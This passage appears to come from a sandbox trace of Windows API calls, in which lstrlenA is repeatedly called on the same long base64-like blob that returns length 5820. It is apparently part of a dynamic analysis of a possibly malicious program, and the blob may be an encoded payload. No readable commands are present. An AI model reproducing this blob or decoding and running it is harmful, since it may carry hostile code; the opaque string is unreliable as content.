CRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.632] lstrlenA (lpString="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") returned 5820
	[0084.632] lstrlenA (lpString="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") returned 5820
	[0084.632] lstrlenA (lpString="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